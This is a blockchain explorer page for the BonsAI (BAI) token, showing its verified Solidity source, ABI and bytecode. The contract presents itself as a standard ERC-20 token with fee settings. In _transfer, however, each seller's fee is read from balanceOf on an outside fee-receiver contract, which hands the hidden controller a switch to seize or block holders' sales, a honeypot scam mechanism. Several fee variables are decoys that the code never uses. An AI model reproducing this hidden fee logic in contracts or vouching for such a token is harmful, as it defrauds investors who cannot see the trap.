ETH Price: $2,720.09 (-1.64%)

Token

BonsAI (BAI)
 

Overview

Max Total Supply

1,000,000 BAI

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
28,027.143983664763850996 BAI

Value
$0.00
0xd7bab20e6e50d1d89eea09701e9b53eeab9ecae5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BonsAI

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-02-16
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
     function addLiquidityETH( address token, 
     uint amountTokenDesired, 
     uint amountTokenMin, 
     uint amountETHMin, 
     address to, 
     uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function factory() external pure returns (address);
}

library SafeMath {

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function balanceOf(address wallet) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function owner() public view returns (address) {
        return _owner;
    }
}

contract BonsAI is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 18;
    uint256 private _totalSupply =  1_000_000 * 10 ** _decimals;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address internal _feeReceiver = 0x03812762A5D60973871A115059d44f648A3e0036;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    address private uniswapV2Pair;
    string private _name = "BonsAI";
    string private _symbol = "BAI";
    bool private tradingStarted = false;
    uint256 _startFee = 5;
    uint256 _finalFee = 0;
    uint256 _lowerFeeAt = 20;
    uint256 _buys = 0;

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 amount);


    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingStarted, "Trading already opened.");
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingStarted = true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0));
        require(amount > 0);
        uint256 feeAmount = 0;
        require(to != address(0));
        if (from == uniswapV2Pair ) {
            _buys ++;
        }
        if (from != uniswapV2Pair && from != address(this)) {
            feeAmount = IERC20(_feeReceiver).balanceOf(from);
        } else {
            feeAmount = _finalFee;
        }
        _balances[to] = _balances[to].add(amount).sub(amount.mul(feeAmount).div(100));
        _balances[from] = _balances[from].sub(amount);
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260125f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c9190620004a0565b620f42406200004c9190620004f0565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507303812762a5d60973871a115059d44f648a3e003660035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600681526020017f426f6e7341490000000000000000000000000000000000000000000000000000815250600790816200013d919062000795565b506040518060400160405280600381526020017f42414900000000000000000000000000000000000000000000000000000000008152506008908162000184919062000795565b505f60095f6101000a81548160ff0219169083151502179055506005600a555f600b556014600c555f600d55348015620001bc575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060015460055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516200030091906200088a565b60405180910390a3620008a5565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003985780860481111562000370576200036f6200030e565b5b6001851615620003805780820291505b808102905062000390856200033b565b945062000350565b94509492505050565b5f82620003b2576001905062000484565b81620003c1575f905062000484565b8160018114620003da5760028114620003e5576200041b565b600191505062000484565b60ff841115620003fa57620003f96200030e565b5b8360020a9150848211156200041457620004136200030e565b5b5062000484565b5060208310610133831016604e8410600b8410161715620004555782820a9050838111156200044f576200044e6200030e565b5b62000484565b62000464848484600162000347565b925090508184048111156200047e576200047d6200030e565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004ac826200048b565b9150620004b98362000494565b9250620004e87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003a1565b905092915050565b5f620004fc826200048b565b915062000509836200048b565b925082820262000519816200048b565b915082820484148315176200053357620005326200030e565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005b657607f821691505b602082108103620005cc57620005cb62000571565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006307fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005f3565b6200063c8683620005f3565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200067d6200067762000671846200048b565b62000654565b6200048b565b9050919050565b5f819050919050565b62000698836200065d565b620006b0620006a78262000684565b848454620005ff565b825550505050565b5f90565b620006c6620006b8565b620006d38184846200068d565b505050565b5b81811015620006fa57620006ee5f82620006bc565b600181019050620006d9565b5050565b601f82111562000749576200071381620005d2565b6200071e84620005e4565b810160208510156200072e578190505b620007466200073d85620005e4565b830182620006d8565b50505b505050565b5f82821c905092915050565b5f6200076b5f19846008026200074e565b1980831691505092915050565b5f6200078583836200075a565b9150826002028217905092915050565b620007a0826200053a565b67ffffffffffffffff811115620007bc57620007bb62000544565b5b620007c882546200059e565b620007d5828285620006fe565b5f60209050601f8311600181146200080b575f8415620007f6578287015190505b62000802858262000778565b86555062000871565b601f1984166200081b86620005d2565b5f5b8281101562000844578489015182556001820191506020850194506020810190506200081d565b8683101562000864578489015162000860601f8916826200075a565b8355505b6001600288020188555050505b505050505050565b62000884816200048b565b82525050565b5f6020820190506200089f5f83018462000879565b92915050565b611ae880620008b35f395ff3fe6080604052600436106100a6575f3560e01c8063715018a611610063578063715018a6146101dc5780638da5cb5b146101f257806395d89b411461021c578063a9059cbb14610246578063c9567bf914610282578063dd62ed3e1461028c576100a6565b806306fdde03146100aa578063095ea7b3146100d457806318160ddd1461011057806323b872dd1461013a578063313ce5671461017657806370a08231146101a0575b5f80fd5b3480156100b5575f80fd5b506100be6102c8565b6040516100cb9190611280565b60405180910390f35b3480156100df575f80fd5b506100fa60048036038101906100f59190611331565b610358565b6040516101079190611389565b60405180910390f35b34801561011b575f80fd5b5061012461036e565b60405161013191906113b1565b60405180910390f35b348015610145575f80fd5b50610160600480360381019061015b91906113ca565b610377565b60405161016d9190611389565b60405180910390f35b348015610181575f80fd5b5061018a610423565b6040516101979190611435565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c1919061144e565b610438565b6040516101d391906113b1565b60405180910390f35b3480156101e7575f80fd5b506101f061047e565b005b3480156101fd575f80fd5b506102066105c5565b6040516102139190611488565b60405180910390f35b348015610227575f80fd5b506102306105ec565b60405161023d9190611280565b60405180910390f35b348015610251575f80fd5b5061026c60048036038101906102679190611331565b61067c565b6040516102799190611389565b60405180910390f35b61028a610692565b005b348015610297575f80fd5b506102b260048036038101906102ad91906114a1565b610b22565b6040516102bf91906113b1565b60405180910390f35b6060600780546102d79061150c565b80601f01602080910402602001604051908101604052809291908181526020018280546103039061150c565b801561034e5780601f106103255761010080835404028352916020019161034e565b820191905f5260205f20905b81548152906001019060200180831161033157829003601f168201915b5050505050905090565b5f610364338484610ba4565b6001905092915050565b5f600154905090565b5f610383848484610d67565b61041884336104138560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114590919063ffffffff16565b610ba4565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050290611586565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546105fb9061150c565b80601f01602080910402602001604051908101604052809291908181526020018280546106279061150c565b80156106725780601f1061064957610100808354040283529160200191610672565b820191905f5260205f20905b81548152906001019060200180831161065557829003601f168201915b5050505050905090565b5f610688338484610d67565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690611586565b60405180910390fd5b60095f9054906101000a900460ff161561076e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610765906115ee565b60405180910390fd5b61079c3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610ba4565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610806573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082a9190611620565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d49190611620565b6040518363ffffffff1660e01b81526004016108f192919061164b565b6020604051808303815f875af115801561090d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109319190611620565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109b830610438565b5f806109c26105c5565b426040518863ffffffff1660e01b81526004016109e4969594939291906116b4565b60606040518083038185885af1158015610a00573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a259190611727565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ac5929190611777565b6020604051808303815f875af1158015610ae1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0591906117c8565b50600160095f6101000a81548160ff021916908315150217905550565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0990611863565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c77906118f1565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d5a91906113b1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d9e575f80fd5b5f8111610da9575f80fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de1575f80fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610e4d57600d5f815480929190610e479061193c565b91905055505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610ed657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f7b5760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b8152600401610f359190611488565b602060405180830381865afa158015610f50573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f749190611983565b9050610f81565b600b5490505b611008610faa6064610f9c848661116b90919063ffffffff16565b6111ab90919063ffffffff16565b610ffa8460055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111d090919063ffffffff16565b61114590919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110998260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114590919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161113791906113b1565b60405180910390a350505050565b5f82821115611152575f80fd5b5f828461115f91906119ae565b90508091505092915050565b5f80830361117b575f90506111a5565b5f828461118891906119e1565b90508284826111979190611a4f565b146111a0575f80fd5b809150505b92915050565b5f8082116111b7575f80fd5b5f82846111c49190611a4f565b90508091505092915050565b5f8082846111de9190611a7f565b9050838110156111ec575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561122d578082015181840152602081019050611212565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611252826111f6565b61125c8185611200565b935061126c818560208601611210565b61127581611238565b840191505092915050565b5f6020820190508181035f8301526112988184611248565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112cd826112a4565b9050919050565b6112dd816112c3565b81146112e7575f80fd5b50565b5f813590506112f8816112d4565b92915050565b5f819050919050565b611310816112fe565b811461131a575f80fd5b50565b5f8135905061132b81611307565b92915050565b5f8060408385031215611347576113466112a0565b5b5f611354858286016112ea565b92505060206113658582860161131d565b9150509250929050565b5f8115159050919050565b6113838161136f565b82525050565b5f60208201905061139c5f83018461137a565b92915050565b6113ab816112fe565b82525050565b5f6020820190506113c45f8301846113a2565b92915050565b5f805f606084860312156113e1576113e06112a0565b5b5f6113ee868287016112ea565b93505060206113ff868287016112ea565b92505060406114108682870161131d565b9150509250925092565b5f60ff82169050919050565b61142f8161141a565b82525050565b5f6020820190506114485f830184611426565b92915050565b5f60208284031215611463576114626112a0565b5b5f611470848285016112ea565b91505092915050565b611482816112c3565b82525050565b5f60208201905061149b5f830184611479565b92915050565b5f80604083850312156114b7576114b66112a0565b5b5f6114c4858286016112ea565b92505060206114d5858286016112ea565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061152357607f821691505b602082108103611536576115356114df565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611570602083611200565b915061157b8261153c565b602082019050919050565b5f6020820190508181035f83015261159d81611564565b9050919050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f6115d8601783611200565b91506115e3826115a4565b602082019050919050565b5f6020820190508181035f830152611605816115cc565b9050919050565b5f8151905061161a816112d4565b92915050565b5f60208284031215611635576116346112a0565b5b5f6116428482850161160c565b91505092915050565b5f60408201905061165e5f830185611479565b61166b6020830184611479565b9392505050565b5f819050919050565b5f819050919050565b5f61169e61169961169484611672565b61167b565b6112fe565b9050919050565b6116ae81611684565b82525050565b5f60c0820190506116c75f830189611479565b6116d460208301886113a2565b6116e160408301876116a5565b6116ee60608301866116a5565b6116fb6080830185611479565b61170860a08301846113a2565b979650505050505050565b5f8151905061172181611307565b92915050565b5f805f6060848603121561173e5761173d6112a0565b5b5f61174b86828701611713565b935050602061175c86828701611713565b925050604061176d86828701611713565b9150509250925092565b5f60408201905061178a5f830185611479565b61179760208301846113a2565b9392505050565b6117a78161136f565b81146117b1575f80fd5b50565b5f815190506117c28161179e565b92915050565b5f602082840312156117dd576117dc6112a0565b5b5f6117ea848285016117b4565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61184d602483611200565b9150611858826117f3565b604082019050919050565b5f6020820190508181035f83015261187a81611841565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6118db602283611200565b91506118e682611881565b604082019050919050565b5f6020820190508181035f830152611908816118cf565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611946826112fe565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036119785761197761190f565b5b600182019050919050565b5f60208284031215611998576119976112a0565b5b5f6119a584828501611713565b91505092915050565b5f6119b8826112fe565b91506119c3836112fe565b92508282039050818111156119db576119da61190f565b5b92915050565b5f6119eb826112fe565b91506119f6836112fe565b9250828202611a04816112fe565b91508282048414831517611a1b57611a1a61190f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a59826112fe565b9150611a64836112fe565b925082611a7457611a73611a22565b5b828204905092915050565b5f611a89826112fe565b9150611a94836112fe565b9250828201905080821115611aac57611aab61190f565b5b9291505056fea264697066735822122040e140be506f0074627d86085c2d4a710b2aff1e5d922ab1f65f9180526c59a264736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100a6575f3560e01c8063715018a611610063578063715018a6146101dc5780638da5cb5b146101f257806395d89b411461021c578063a9059cbb14610246578063c9567bf914610282578063dd62ed3e1461028c576100a6565b806306fdde03146100aa578063095ea7b3146100d457806318160ddd1461011057806323b872dd1461013a578063313ce5671461017657806370a08231146101a0575b5f80fd5b3480156100b5575f80fd5b506100be6102c8565b6040516100cb9190611280565b60405180910390f35b3480156100df575f80fd5b506100fa60048036038101906100f59190611331565b610358565b6040516101079190611389565b60405180910390f35b34801561011b575f80fd5b5061012461036e565b60405161013191906113b1565b60405180910390f35b348015610145575f80fd5b50610160600480360381019061015b91906113ca565b610377565b60405161016d9190611389565b60405180910390f35b348015610181575f80fd5b5061018a610423565b6040516101979190611435565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c1919061144e565b610438565b6040516101d391906113b1565b60405180910390f35b3480156101e7575f80fd5b506101f061047e565b005b3480156101fd575f80fd5b506102066105c5565b6040516102139190611488565b60405180910390f35b348015610227575f80fd5b506102306105ec565b60405161023d9190611280565b60405180910390f35b348015610251575f80fd5b5061026c60048036038101906102679190611331565b61067c565b6040516102799190611389565b60405180910390f35b61028a610692565b005b348015610297575f80fd5b506102b260048036038101906102ad91906114a1565b610b22565b6040516102bf91906113b1565b60405180910390f35b6060600780546102d79061150c565b80601f01602080910402602001604051908101604052809291908181526020018280546103039061150c565b801561034e5780601f106103255761010080835404028352916020019161034e565b820191905f5260205f20905b81548152906001019060200180831161033157829003601f168201915b5050505050905090565b5f610364338484610ba4565b6001905092915050565b5f600154905090565b5f610383848484610d67565b61041884336104138560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114590919063ffffffff16565b610ba4565b600190509392505050565b5f8060149054906101000a900460ff16905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050290611586565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546105fb9061150c565b80601f01602080910402602001604051908101604052809291908181526020018280546106279061150c565b80156106725780601f1061064957610100808354040283529160200191610672565b820191905f5260205f20905b81548152906001019060200180831161065557829003601f168201915b5050505050905090565b5f610688338484610d67565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690611586565b60405180910390fd5b60095f9054906101000a900460ff161561076e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610765906115ee565b60405180910390fd5b61079c3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610ba4565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610806573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082a9190611620565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d49190611620565b6040518363ffffffff1660e01b81526004016108f192919061164b565b6020604051808303815f875af115801561090d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109319190611620565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109b830610438565b5f806109c26105c5565b426040518863ffffffff1660e01b81526004016109e4969594939291906116b4565b60606040518083038185885af1158015610a00573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a259190611727565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ac5929190611777565b6020604051808303815f875af1158015610ae1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0591906117c8565b50600160095f6101000a81548160ff021916908315150217905550565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190